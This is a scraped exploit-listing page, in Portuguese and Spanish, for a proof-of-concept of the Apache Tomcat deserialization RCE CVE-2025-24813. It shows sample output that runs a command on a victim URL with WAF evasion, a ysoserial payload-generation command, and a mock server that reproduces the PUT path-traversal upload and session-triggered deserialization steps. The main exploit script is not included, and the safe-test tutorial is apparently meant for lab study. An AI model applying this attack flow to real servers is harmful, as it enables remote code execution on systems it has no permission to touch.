POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution — Este repositório contém um exploit automatizado desenvolvido para fins educacionais e de pesquisa em cibersegurança, destinado a demonstrar uma potencial vulnerabilidade de execução remota de código (RCE) no Apache Tomcat (CVE-2025-24813). | Kitploit

⚠️🚀 CVE-2025-24813 — Suíte de Exploração RCE Apache Tomcat

⚡ Versão: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payloads: ysoserial / Java 🌐 Modo: Interativo + Stealth 🔬 Uso: Ético, Investigativo, Educativo

🌌 Visão Geral

🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no

🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'

┌──────────────────────────────┐
│  Modo Interactivo            │
├──────────────────────────────┤
│  Validación de URL           │
│  Detección de sesión         │
│  Detección de WAF            │
│  Generación de payload       │
│  Subida evasiva via PUT      │
│  Verificación de ejecución   │
└──────────────────────────────┘
        ↘ LOGS POR OBJETIVO

POC-Exploit_CVE_2025_24813.py   # Script principal
ysoserial.jar               # Requerido si usas 'ysoserial'
logs/                       # Carpeta de logs individuales por objetivo
payload.ser                 # Payload generado temporalmente
Exploit.java / .class       # Archivos temporales para Java

Baixe o .jar daqui 👉 https://github.com/frohoff/ysoserial
Salve-o no mesmo diretório do script ou informe o caminho completo quando solicitado. Exemplo:
```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
```

Instalar Python 3.8+
Instalar bibliotecas:
```
pip install requests colorama etc
```
Instalar Java JDK 8+
```
java -version
javac -version
```
Baixar ysoserial.jar para a pasta do script.

python3 -m venv .venv
source .venv/bin/activate   # Linux / macOS
.\.venv\Scripts\activate  # Windows (PowerShell/Command Prompt)

pip install -U pip
pip install requests colorama flask

# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify

app = Flask(__name__)
uploads = {}

@app.route('/index.jsp', methods=['GET'])
def index():
    # Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
    resp = make_response('Index page — Session ID: testsession')
    resp.set_cookie('JSESSIONID', 'testsession')
    return resp

@app.route('/check.txt', methods=['PUT'])
def check_put():
    # Simula un recurso escribible
    return ('OK', 200)

@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
    # Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
    uploads[session_id] = True
    return ('Conflict - uploaded', 409)

@app.route('/', methods=['GET'])
def root():
    # Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
    session = request.cookies.get('JSESSIONID')
    if session and uploads.get(session):
        return ('Internal Server Error', 500)
    return ('Hello from mock server', 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---


def generate_java_payload(command, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_JAVA_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---

Inicie seu ambiente virtual e certifique-se de ter as dependências instaladas (veja a seção Requisitos).
Execute o mock_server.py:
```
python mock_server.py
```
Crie o payload dummy se não usar SAFE_TEST ou se ele não criar o payload por você:
```
echo "DUMMY_PAYLOAD" > payload.ser
```

Ative o modo seguro no terminal:

export SAFE_TEST=1   # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"

Execute o script principal:
```
python3 tu_script.py
```
Responda aos prompts (você usará valores de laboratório):
- Insira a URL do alvo: http://127.0.0.1:8000
- Digite o comando a executar: deixe o padrão (não será executado em SAFE_TEST)
- Tipo de payload: ysoserial (o script, com SAFE_TEST=1, criará um payload dummy em vez de invocar ferramentas externas)
- Caminho para ysoserial.jar: (você pode deixar ysoserial.jar — não será usado no modo seguro)
- Verificar SSL? no (seu mock usa HTTP)
Observe a saída no console: você deve ver mensagens Server is writable via PUT, Payload uploaded with status 409 e Exploit succeeded! Server returned 500 after deserialization. — isso é apenas no mock e significa que o fluxo lógico do script funciona.
Revise os logs em logs/ — o script salva entradas com marcas de tempo. Por exemplo, logs/127_0_0_1_8000.log (de acordo com o nome do alvo sanitizado).

# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request

def test_validate_url():
    assert validate_url('http://127.0.0.1:8000')
    assert not validate_url('notaurl')

def test_retry_request_success():
    # usa requests_mock para simular un GET y comprobar retry_request
    pass

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

Mais Populares

🧠 O que este script faz?

🛸 Funcionalidades Principais

⚙️ Requisitos

🧪 Modo de Uso

🎯 Exemplo Visual:

🌈 Arquitetura Visual do Script

🧬 Tipos de Payload

Gadgets comuns:

📁 Estrutura do Projeto

👨‍⚖️ Uso Responsável e Ético

⚖️ Isenção de responsabilidade

🧠 Créditos

🛰️ CVE Referenciado

📜 Licença

💎 Inspiração Visual

🔧 Dependências necessárias

1. Python

2. Java

3. Ysoserial

4. Sistema operacional

⚙️ Resumo de instalação

🛡️ README — Tutorial seguro passo a passo

⚠️ Aviso legal e ético (LEIA ANTES DE COMEÇAR)

🔍 O que este tutorial contém

🧾 Requisitos

🧪 1) Servidor de testes (mock) — código seguro

📁 2) Preparar um payload dummy (inofensivo)

⚙️ 3) Adicionar um modo seguro (SAFE_TEST) ao script original

▶️ 4) Execução passo a passo (modo seguro)

🔎 5) O que verificar nos testes

🧪 6) Testes unitários (recomendação)

❌ O que NÃO fazer